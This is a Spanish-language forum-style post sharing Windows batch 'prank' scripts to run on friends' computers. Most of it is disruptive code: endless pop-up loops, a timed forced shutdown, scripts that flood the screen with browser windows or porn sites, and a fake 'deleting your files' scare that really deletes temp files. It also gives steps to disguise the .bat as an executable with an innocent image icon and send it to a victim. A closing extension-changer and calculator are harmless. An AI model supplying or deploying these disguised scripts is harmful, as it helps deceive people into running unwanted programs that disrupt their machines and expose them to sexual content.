Si quieres divertirte haciendole bromas a tus amigos... te dejo estos códigos
1. Mensaje que no se borra del PC hasta que lo reinicien:
l. abrimos el bloc de notas y ponemos lo siguiente:
@echo off
:inicio
msg * AQUI PONES LO QUE TU QUIERAS
msg * AQUI PON OTRA COSA QUE QUIERAS DECIR
goto :inicio
ll. lo guardas como: ELNOMBREQUEQUIERAS. bat < siempre con la extension . bat
2. Broma que apaga el ordenador:
l. abrimos el bloc de notas y ponemos lo siguiente:
@echo off
shutdown -s -t xx -c "TXT"
-s = quiere decir que lo va a apagar
-t = el tiempo en que quieres que se apague el pc donde xx son los numeros de segundos en los que se apagara
-c = mostrara el mensaje que este entre las comillas "TXT" < reemplazalo por lo que quieras.
ll. lo guardas como: ELNOMBREQUEQUIERAS. bat < siempre con la extension . bat
3. Abrira muchas ventanas del explorador (100 ventanas) :
l. abrimos el bloc de notas y ponemos lo siguiente:
@echo off
msg * Jajajaja caiste ahora se te quedara pegado el pc
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
start http://google.com
msg * Gracias por caer, Adios!
exit
ll. lo guardas como: ELNOMBREQUEQUIERAS. bat < siempre con la extension . bat
4. Le abrira paginas xXx
@echo off
start XXX
start XXX
start XXX
start XXX
start XXX
start XXX
start XXX
start XXX
start XXX
start XXX
start XXX
msg * Upaa!!! que haces viendo esto!
exit
En XXX pones las paginas prno que te sepas.
ll. lo guardas como: ELNOMBREQUEQUIERAS. bat < siempre con la extension . bat
5. Le pegaras un susto:
@echo off
msg * Eliminando Archivos de Tu PC JAJAJA!
del /s/q %temp%
msg * Archivos borrados exitosamente... ya veras como los recuperas
exit
Lo que esto hace es si tu amigo no sabe.. le pegara un susto pero lo que hace es borrar los archivos temporales de internet.. (Lo puedes combinar con el apagado del pc)
ll. lo guardas como: ELNOMBREQUEQUIERAS. bat < siempre con la extension . bat
Extra:
Ahora para que tu amigo no sospeche... te enseñare como camuflar los archivos
1. Descargamos el Quick Batch Compiler
Link: http://www.abyssmedia.com/downloads/quickbfc.exe
2. Descargamos el IMG converter
Link: http://downloads5.uptodown.net/dm/img-converter-1.0.exe
3. Abrimos el IMG converter y seleccionamos una imagen discreta
Y Seleccionamos la ubicacion de destino
4. Luego vamos a la pestaña formato y seleccionamos el circulito de formato .ico
5. ya creada la imagen en formato .ico Abrimos el Quick Batch Compiler y le damos clic en OPEN y seleccionamos el archivo . bat que hayamos escogido de los ejemplos anteriores para camuflarlo.
6. Cuando lo hayamos abierto, hacemos clic en la pestaña que dice Embedded Files , Browse y Buscamos la imagen que usaremos como icono del archivo .
7. Finalmente presionamos F9 y guardamos el Archivo ya camuflado y se lo enviamos a nuestro amigo.. para que lo ejecute y se encuentre con una sorpresa

al hacerle doble clic. 
PD: Son codigos muy sencillos pero como no queremos ocasionar daños al pc de nuestro amigo.. estos estarán bien.
PD2: El comando msg * (Creo que no va en la version Windows 7 Home Premium) pero va erfectamente en Windows XP y otras versiones
Bonus:
@echo off
title Change ext
color 7c
:new
cls
Set /p var=Nombre del archivo a cambiar de extension:
Set /p ext=Extension del archivo a cambiar:
if not exist %var%.%ext% (echo Archivo no existente asegurece de haber escrito bien el nombre o la extension & pause & goto :new)
Set /p new=Nueva extension del archivo:
Ren "%var%.%ext%" "%var%.%new%"
if exist %var%.%new% (echo extension cambiada correctamente & pause) else echo Extension no cambiada
goto :new
Te servira para cambiar la extensión de un archivo (cambia la extension más no convierte el archivo ) Ej: si tienes imagenes xxx o imagenes que no quieres que vean les puedes cambiar la extencion a .txt y no se veran hasta q las pases de nuevo a su extensión anterior.
@echo off
color 7f
title Batch Calculator V 2.0 By: DM
:menu
echo __________________________________________________
echo Batch Calculator
echo __________________________________________________
echo 1. Suma
echo 2. Resta
echo 3. Multiplicacion
echo 4. Division
echo 5. Porcentaje
echo __________________________________________________
set /p var=Elija el numero de la operacion:
if %var%==1 (goto :suma) else goto :com1
:com1
if %var%==2 (goto :resta) else goto :com2
:com2
if %var%==3 (goto :multi) else goto :com3
:com3
if %var%==4 (goto :divi) else goto :com4
:com4
if %var%==5 (goto :porcent) else cls & goto :menu
:suma
cls
echo ____________________
echo SUMA
echo ____________________
set /p a=Primer Valor:
set /p b=Segundo Valor:
set /a res=a+b
echo ______________________________
echo Resultado:%res%
echo ______________________________
echo presiona una tecla para volver
pause>nul
cls
goto :menu
:resta
cls
echo _____________________
echo RESTA
echo ______________________
set /p a=Primer Valor:
set /p b=Segundo Valor:
set /a res=a-b
echo ______________________________
echo Resultado:%res%
echo ______________________________
echo Presione una tecla para volver
pause>nul
cls
goto :menu
:multi
cls
echo _______________________
echo MULTIPLICACION
echo _______________________
set /p a=Primer Valor:
set /p b=Segundo Valor:
set /a res=a*b
echo ______________________________
echo Resultado:%res%
echo ______________________________
echo Presione una tecla para volver
pause>nul
cls
goto :menu
:divi
cls
echo _______________________
echo DIVISION
echo _______________________
set /p a=Primer Valor:
set /p b=Segundo Valor:
set /a res=a/b
echo ______________________________
echo Resultado:%res%
echo ______________________________
echo Presione una tecla para volver
pause>nul
cls
goto :menu
:porcent
cls
echo _______________________
echo PORCENTAJE
echo _______________________
set /p a=Primer Valor:
set /p b=Segundo Valor %:
set /a res=(a*b)/100
echo ______________________________
echo Resultado:%res%
echo ______________________________
echo Presione una tecla para volver
pause>nul
cls
goto :menu
Calculadora hecha en Batch, realiza las operaciones basicas y saca porcentaje.